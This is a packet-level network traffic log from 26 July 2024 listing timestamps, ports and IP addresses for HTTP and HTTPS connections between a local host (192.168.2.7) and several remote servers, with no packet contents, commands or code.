Jul 26, 2024 08:57:56.096467018 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.096477032 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.096781969 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.096796036 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.096807003 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.096817017 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.096827984 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.096837044 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.096847057 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.096856117 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.096865892 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.096875906 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.096885920 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.096895933 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.096904993 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.096915007 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.097237110 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.097284079 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.097362041 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.097376108 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.102005959 CEST	49763	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:56.102313042 CEST	49768	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:56.107584000 CEST	80	49768	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:56.107868910 CEST	49768	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:56.108164072 CEST	49768	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:56.108306885 CEST	80	49763	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:56.108788967 CEST	49763	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:56.113339901 CEST	80	49768	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:56.184277058 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.184290886 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.184302092 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.184333086 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.184344053 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.184348106 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.184354067 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.184367895 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.184406042 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.184529066 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.184540033 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.184551001 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.184561014 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.184571028 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.184581041 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.184582949 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.184642076 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.184653044 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.184663057 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.184669018 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.184673071 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.184684038 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.184694052 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.184703112 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.184714079 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.184752941 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.184890985 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.184901953 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.184911966 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.184921980 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.184931993 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.184937000 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.184942961 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.184956074 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.184962988 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.184993982 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.185040951 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.185051918 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.185061932 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.185071945 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.185081959 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.185084105 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.185106039 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.185123920 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.185163021 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.185173988 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.185183048 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.185194016 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.185204029 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.185204983 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.185234070 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.185312033 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.185323000 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.185332060 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.185343027 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.185358047 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.185375929 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.185437918 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.185448885 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.185458899 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.185482979 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.185487032 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.185498953 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.185503006 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.185511112 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.185520887 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.185530901 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.185532093 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.185543060 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.185554028 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.185563087 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.185583115 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.185872078 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.185883999 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.185894966 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.185904980 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.185918093 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.185930014 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.185939074 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.185940027 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.185950994 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.185959101 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.185962915 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.185973883 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.185983896 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.185986996 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.185995102 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.186016083 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.186034918 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.186054945 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.186089993 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.186089993 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.186101913 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.186119080 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.186137915 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.186192036 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.186203003 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.186213017 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.186223030 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.186237097 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.186264992 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.186323881 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.186336040 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.186346054 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.186357021 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.186367035 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.186369896 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.186378956 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.186388969 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.186389923 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.186410904 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.186429024 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.186492920 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.186539888 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.186549902 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.186580896 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.186737061 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.186814070 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.186825037 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.186853886 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.186913013 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.186927080 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.186935902 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.186948061 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.186954975 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.186974049 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.186992884 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.187004089 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.187041044 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.187083960 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.187094927 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.187104940 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.187115908 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.187122107 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.187133074 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.187136889 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.187149048 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.187151909 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.187170029 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.187197924 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.187220097 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.187231064 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.187258959 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.187457085 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.187469006 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.187479019 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.187489986 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.187501907 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.187510014 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.187520027 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.187530041 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.187530041 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.187540054 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.187551022 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.187551022 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.187561035 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.187572002 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.187572956 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.187582970 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.187594891 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.187597036 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.187616110 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.187642097 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.187657118 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.187695026 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.219625950 CEST	443	49764	162.159.61.3	192.168.2.7
Jul 26, 2024 08:57:56.220164061 CEST	49764	443	192.168.2.7	162.159.61.3
Jul 26, 2024 08:57:56.220175982 CEST	443	49764	162.159.61.3	192.168.2.7
Jul 26, 2024 08:57:56.221225977 CEST	443	49764	162.159.61.3	192.168.2.7
Jul 26, 2024 08:57:56.221240044 CEST	443	49764	162.159.61.3	192.168.2.7
Jul 26, 2024 08:57:56.221277952 CEST	49764	443	192.168.2.7	162.159.61.3
Jul 26, 2024 08:57:56.222620010 CEST	49764	443	192.168.2.7	162.159.61.3
Jul 26, 2024 08:57:56.222682953 CEST	443	49764	162.159.61.3	192.168.2.7
Jul 26, 2024 08:57:56.222810984 CEST	49764	443	192.168.2.7	162.159.61.3
Jul 26, 2024 08:57:56.239041090 CEST	443	49766	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:56.239310026 CEST	49766	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:56.239334106 CEST	443	49766	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:56.240360022 CEST	443	49766	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:56.240365982 CEST	443	49766	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:56.240454912 CEST	49766	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:56.241991997 CEST	49766	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:56.241991997 CEST	49766	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:56.242054939 CEST	443	49766	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:56.258963108 CEST	443	49765	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:56.259311914 CEST	49765	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:56.259319067 CEST	443	49765	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:56.262567043 CEST	443	49765	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:56.262579918 CEST	443	49765	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:56.263032913 CEST	49765	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:56.264307022 CEST	49765	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:56.264307022 CEST	49765	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:56.264372110 CEST	443	49765	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:56.268503904 CEST	443	49764	162.159.61.3	192.168.2.7
Jul 26, 2024 08:57:56.274780989 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.274806976 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.274816990 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.274844885 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.274873972 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.275063992 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.275083065 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.275094032 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.275213003 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.275224924 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.275237083 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.275245905 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.275257111 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.275291920 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.275302887 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.275311947 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.275322914 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.275424957 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.275434971 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.275444984 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.275454998 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.275505066 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.275516033 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.275527000 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.275536060 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.275547028 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.275640965 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.275659084 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.275675058 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.275686026 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.275696993 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.275986910 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.276145935 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.276248932 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.276259899 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.276345015 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.276355028 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.276365042 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.276375055 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.276488066 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.276552916 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.276563883 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.276573896 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.276583910 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.276633024 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.276659012 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.276679039 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.276760101 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.276772976 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.276829958 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.276839018 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.276849031 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.276916027 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.276926041 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.276936054 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.276946068 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.276956081 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.276966095 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.277092934 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.277102947 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.277178049 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.277189016 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.277199030 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.277209997 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.277324915 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.277334929 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.277344942 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.277354956 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.277364969 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.277441978 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.277561903 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.277573109 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.277584076 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.277584076 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.277610064 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.277614117 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.277625084 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.277635098 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.277636051 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.277645111 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.277651072 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.277656078 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.277667046 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.277677059 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.277687073 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.277693033 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.277698040 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.277709007 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.277724981 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.277950048 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.277961969 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.277971029 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.277977943 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.277981997 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.277992964 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.278002977 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.278012991 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.278023005 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.278070927 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.278080940 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.278090954 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.278198957 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.278209925 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.278219938 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.278229952 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.278342009 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.278352976 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.278362989 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.278373957 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.278383970 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.278393984 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.278403997 CEST	80	49756	85.28.47.31	192.168.2.7
